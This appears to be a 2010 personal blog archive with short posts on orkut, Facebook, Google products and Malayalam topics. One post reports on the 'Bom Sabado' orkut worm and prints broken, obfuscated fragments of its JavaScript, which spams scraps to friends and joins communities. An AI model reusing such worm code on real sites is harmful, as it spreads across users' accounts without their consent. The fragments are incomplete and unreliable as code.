Wednesday, December 1, 2010

Badges on orkut! Can you collect them all?

Badges on orkut! Can you collect them all?

You might have noticed something new in orkut. Some of your friends may have little icons on their profile pages, and you may start seeing some updates from friends as well. These are our new orkut badges!

Badges are another way for you to express yourself on orkut, with different sets of badges for users that engage with orkut in different ways. For example, if you've been on orkut for a long time, you might get an Early User badge! Or, if you created a popular promotion, you might get a Promoter badge. Once you win a badge, it's up to you if you want to display it on your profile or not.

There will be lots of badges available for you to collect, based on your interactions with orkut. Here's an initial list of badges that we plan to make available over the coming weeks. Can you collect them all?

Also, keep an eye out for more, because who knows what other badges might show up around here? Imagination is the limit! :) 
Orkut Blog

Thursday, November 18, 2010

Airtel Unveils New Signature Tune and Logo

Bharati Airtel has changed its logo to a
new one for new international identity. Aitel's new unique symbol is an interpretation of the ‘A’ in Airtel. New Signature tune is composed by AR Rahman, will also help Airtel to get a make-over.

MP3 Download Link : Mobile
                                  : PC

New TV Ad:

Tuesday, November 16, 2010

It’s official! Facebook has Email

Facebook email is out. icon smile Its official! Facebook has Email Mark Zuckerberg introduced Facebook Messages which will allow you to email, chat, SMS and Facebook messages all in one window. All 500 million Facebook users are free to use this service. They just need to request for the invitation. icon smile Its official! Facebook has Email
Techcrunch in 2007 reported that Gmail, Yahoo mail and Live Hotmail have approximately 51m, 250m and 228m users. Though the statistics would have changed but Facebook alone has 500m users worldwide. If only 70 % among them start using Facebook, it will over take the number of email users. The number will be more than all Gmail,Yahoo and Live Hotmail.
FacebookMail1 300x200 Its official! Facebook has Email
How to activate Facebook Messages?
  • Go to the Facebook Message page.
  • Request for an invitation.
  • Any friend can invite you if  she is using this new service.
I have requested for Facebook Messages invitation, but I have not received any updates. So what are your views on Facebook Messages? Do you think it will be a Gmail killer? Share your views with me through the comments. icon smile Its official! Facebook has Email

Saturday, November 13, 2010

Windows Live Essentials 2011 Offline Installer

This collection of free programs puts the Internet in your hands. Share photos. Make movies. Send instant messages and mail. Quick and easy.

I often see many people have limited plans when it comes to internet usage and hence might not be able to install such software. Also if you install it from Microsoft Download center, you it will get an installer which installs a small file and then starts to install the complete software from the internet. This is where a standalone offline installer will be useful.

  • Software like Live Mail for managing your email. Movie Maker for making home movies.
  • It also had Live Mesh which allows synchronizing folders on different computers using Windows 7 or Vista.
  • Other things includes Live Writer which is an excellent blogging tool along with Live Messenger which allows chatting with your online contacts.
Download: Windows Live Essentials 2011 (151 MB)

Posted On DW by Adithya Kane

Wednesday, October 27, 2010

Nammude Pazhaya Poppy Kuda

Found this old Poppy kuda ad on Youtube... 
Childhood memories... :(

Thursday, October 21, 2010

Police Vs. Advocates

വഞ്ചിയൂര്‍ കോടതിയിലെ അഭിഭാഷകര്‍ക്ക് എതിരെയുള്ള പോലീസ് അല്പത്തത്തിനെതിരെ ഏറണാകുളം സര്‍ക്കാര്‍ വഹ നിയമ കലാലയത്തിന്റെ പ്രതിഷേദം. 

Sunday, September 26, 2010


Semi Final Round

Prize Distribution Ceremony

Bom Sabado Worm Fixed-Says Google

The ‘Bom Sabado’ worm which had hacked through millions of Orkut accounts is now removed by Google. Google released a statement in their blog which notified all users that the worm Bom Sabado has been dealt with & Orkut is safe for now.

“Hi all,
This is to inform you all that we’ve contained the “Bom Sabado” virus and have identified the bug that allowed this and have fixed it.
We’re currently working on restoring the affected profiles.
Thanks a ton to each of you who’s made an effort to alert everyone else about this. I’ll make sure to keep you guys posted on more updates”

Saturday, September 25, 2010

Bom Sabado Virus Hit 5 Lakh Orkut Users

1. So dont login to your orkut account,
2. if you wish to change password, use this

Bom Sabado is a cookie stealing virus.
If you think that you are affected by this virus please change your passwords immediatly and clean your browser cookies as-well. Its safe to keep away from opening your orkut until orkut official give out the status of the attack.

Bug  Status :Problem is Under Control, Bug Not Fixed (Keep Visit to know the status)


Orkut Under Hackers Attack

Orkut new version is found to be affected by a mass spreading new worm.
The worms static analysis says that its just a mass spreading worm which uses ur scrap book to spread and makes u join few communities.
The worm writer bypassed the script restrictions on orkut by passing on the following tags to IFRAME
Here the java script code which is hosted in is called via onload function and excuted, and this happen when u login and reach ur orut home age
as ur new scraps are updated in ur home page, or either by visitng your scrap book triggers the excution of the code.
The worm is programmed to send copy of itself to all in ur friendlist via scrap and make u join few communities.
And there would not be much harm as of now, and I dont think you need to change your passwod and all.
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function createXMLHttpRequest()
return new XMLHttpRequest();
return new ActiveXObject(_0x37a1[0]);
var data=_0x37a1[1]+encodeURIComponent(JSHDF[_0x37a1[2]])+_0x37a1[3]+encodeURIComponent(JSHDF[_0x37a1[4]]);
function sendScrap(_0x7c2bx4)
var _0x7c2bx5=createXMLHttpRequest();
} ;
function requestFriends()
var _0x7c2bx5=createXMLHttpRequest();
return (_0x7c2bx5[_0x37a1[23]])[_0x37a1[22]](_0x37a1[20],_0x37a1[21]);
} ;
function joinCMM(_0x7c2bx8)
var _0x7c2bx5=createXMLHttpRequest();
} ;
for(x in friends[_0x37a1[34]][_0x37a1[33]])
sendScrap(uid[_0x37a1[35]]);} ;
this attack was done by some brazillian hackers.
The analysis of the payload would be done soon and would be updated
Also visit:-

Workaround - Below is a workaround posted by Arikarin. Use at your own risk. I didn’t try it.
A way to get rid of this and even to change your pass if you want to is:
  1. Clear your cookies/cache, then you may get an ‘Automated Query’ message. Don’t hustle about it.
  2. Just logout from your account, if you don’t know about the logout link. Here it is :
  3. After that just go to settings page or if not, better to do anything is to switch on to the ‘OLDER VERSION’ of Orkut and try re-setting your password. :)
You can use older version of Orkut or simply mobile version at! I used only!

Thursday, September 16, 2010

Star Trees and Dasapushpam / ദശപുഷ്പ്പം

തേവര തിരുഹൃദയ കലാലയത്തിനു വേണ്ടി ചെയ്ത രണ്ട് പോസ്റ്ററുകള്‍

Saturday, September 11, 2010

New themes for a new orkut

Like you, the Google Chrome team was pretty excited last week to see all the new features debut on orkut. The improved page rendering and image loading on orkut really take advantage of the speed and functionality of modern web browsers like Chrome.

It got us thinking: how can we show how excited we are about these new features on orkut? And here's our answer! We're pleased to announce new themes for a new orkut:

We asked artists, hailing from all over the world, to design 6 themes inspired by today's digital lifestyle. Some designed beautiful patterns out of the gadgets that keep us connected. Others celebrated the communities we form and the emotions we feel when staying in touch with our friends and family online.

Just visit the orkut themes page and pick a new theme! Once you choose your favorite, you can get the same theme for Google Chrome, a fast web browser, and then browse the web with speed and style!

Download Google Chrome now and get the official orkut extension built right in. From anywhere on the web, you'll receive orkut updates and scrap notifications, and you'll be able to search on orkut or share the webpage you're viewing with your friends. There's no better way to stay connected!

Dress up your profile and your browser in a spiffy new theme and join us in celebrating the modern web.

Re-Posted from Sarah Nahm, Google Chrome team.

Friday, September 10, 2010

Google Instant

Google Instant is a new search enhancement that shows results as you type. 

Tuesday, September 7, 2010


I found an interesting blog page and like to share it with you (May be because I am a Botany graduate.. He He).


നമ്മുടെ നാട്ടിൽ കളയായി വളരുന്ന എന്നാൽ വളരെയധികം ഔഷധമൂല്യമുള്ള പത്തു ചെടികളാണ് ദശപുഷ്പത്തിൽ പെടുന്നത്.

1. പൂവാങ്കുറുന്തൽ / പൂവാം‌കുരുന്നില - Vernonia cinerea

2.മുയൽചെവിയൻ. - Emilia sonchifolia

3.മുക്കുറ്റി. Biophytum sensitivum

4.കയ്യോന്നി/കയ്യുണ്യം. Eclipta alba

5. കറുക Cynodon dactylon

6. ചെറൂള Aerva lanata

7. നിലപ്പന - Curculigo orchioides

8. ഉഴിഞ്ഞ - Cardiospermum halicacabum

9. വിഷ്ണുക്രാന്തി / കൃഷ്ണക്രാന്തി. - Evolvulus alsinoides

10. തിരുതാളി. - Ipomoea sepiaria

For Detail About Each Plant Go to
You can get more details about each plant if you click on the pics there.

Monday, September 6, 2010

Google Data Liberation Front

The Data Liberation Front is an engineering team at Google whose singular goal is to make it easier for users to move their data in and out of Google products.

Control the data you create online:

"We do this because we believe that you should be able to export any data that you create in (or import into) a product."-Google

Sunday, September 5, 2010

The Mallu Secretory

Thanks to Ambily Murali for forwarding me the pic.

Saturday, September 4, 2010

German Girl Singing Malayalam Song

ഇഷ്ട്ടമല്ലട എനിക്ക്  ഇഷ്ട്ടമല്ലട ഇ തൊട്ടു നോട്ടം ഇഷ്ട്ടമല്ലട....

Orkut-New Themes

Orkut has some new themes today.
Check it out.

Friday, September 3, 2010

Google Realtime Search

Google's new Realtime Search lets you see up-to-the-second social updates, news articles and blog posts about hot topics around the world . I feel like its a twitter search from Google :D

How to use Realtime search

Try out Google Realtime search and drop in your views.

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